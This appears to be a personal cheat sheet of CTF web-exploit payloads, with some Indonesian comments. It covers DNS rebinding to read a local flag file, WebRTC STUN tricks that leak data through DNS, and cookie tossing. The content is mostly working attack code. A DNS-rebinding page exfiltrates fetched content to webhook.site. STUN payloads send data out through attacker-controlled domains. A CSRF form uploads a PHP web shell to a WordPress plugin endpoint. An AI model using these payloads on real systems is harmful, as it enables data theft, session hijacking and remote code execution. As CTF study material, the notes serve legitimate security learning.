teknik solve lain untuk adminplz, pakai dns rebinding attack untuk bypass same-origin-policy
(for adminplz) Thanks for the 0.0.0.0 tip. That worked for me! I host this page locally:
<head>
</head>
<body>
<h1>WOWZA</h1>
<p>Hello uiuctf</p>
<script>
let morphingUrl = 'http://A.<my-ip-address-here>.1time.0.0.0.0.forever.fdff838a-2e0a-4b80-9757-6b35139bd7ac.rebind.network:8080'
let flagUrl = morphingUrl + '/admin?view=file:/flag.html'
let exfilUrl = '<https://webhook.site/><my-uuid-here>'
setInterval(()=>
{
fetch(flagUrl)
.then(response => response.text())
.then(text =>
{
options = {
method: 'POST',
body: text
}
fetch(exfilUrl, options)
})
}
, 10 * 1000)
</script>
</body>
</html>
and then submit a URL like this:
http://A.<my-ip-address-here>.1time.0.0.0.0.forever.fdff838a-2e0a-4b80-9757-6b35139bd7ac.rebind.network:8080/uiu-ctf
bot.js will read this and be served the above payload, then the fetch() call will end up going to 0.0.0.0 which reads as 127.0.0.1 and thus can read the flag.html content and exfil it. COOL! So much for RFC1918.
corctf 2023
<script>async function a(){
c={iceServers:[{urls:"stun:{{user.id}}.x.cjxol.com:1337"}]}
(p=new RTCPeerConnection(c)).createDataChannel("d")
await p.setLocalDescription()
}
a();</script>
<https://www.cjxol.com/posts/corctf-2023-crabspace-web-writeup/#:~:text=login%20as%20admin.-,Leak%20admin%20user%20ID,-With%20the%20SSIT>
golf jail sekaiCTF 2023
(async ()=>{
var data = document.firstChild.data.trim().split("").map(x=>x.charCodeAt(0).toString(16)).join("")
var tmp = "" for (var i=0;i<=data.length;i++){
tmp += data[i]
if (tmp.length==32 || i == data.length){
var pc = new RTCPeerConnection({"iceServers":[{"urls":[
`stun:${tmp}.ck1ghv72vtc00002x710gj5r3boyyyyyn.oast.fun`, ]}]})
pc.createDataChannel("d")
await pc.setLocalDescription()
tmp = "" }
}
})()
<form action="<http://localhost/?rest_route=/envialosimple/v1/gallery/add>" enctype="multipart/form-data" target="_blank" method="post">
<input type="file" name="file">
</form>
<script>
const filename = "exploit.php"
var fileInput = document.querySelector("input[name='file']"); var file = new File(["GIF89a<?php system($_GET['x'])?>"], filename); var dt = new DataTransfer()
dt.items.add(file)
fileInput.files = dt.files;
document.querySelector("form").submit()
</script>
can seperate cookie to different path, resulting in some phising technique?
<https://sec.stealthcopter.com/intigriti-february-ctf-challenge-love-letter-storage/>
document.cookie = "jwt=eyJhbGciOiJIUzI1NiJ9.eyJpZCI6MTA5LCJ1c2VybmFtZSI6InRlc3RpbmcxMjMiLCJleHBpcmF0aW9uIjoyMDIzNTEzMDQ5MTU1fQ.CbJ_tfhSEKMBt9SNSdTf_h4-AzISF3Hb9lw5XerrTg0; path=/getLetterData; domain=api.challenge-0224.intigriti.io";document.cookie = "jwt=eyJhbGciOiJIUzI1NiJ9.eyJpZCI6MTA5LCJ1c2VybmFtZSI6InRlc3RpbmcxMjMiLCJleHBpcmF0aW9uIjoyMDIzNTEzMDQ5MTU1fQ.CbJ_tfhSEKMBt9SNSdTf_h4-AzISF3Hb9lw5XerrTg0; path=/storeLetter; domain=api.challenge-0224.intigriti.io";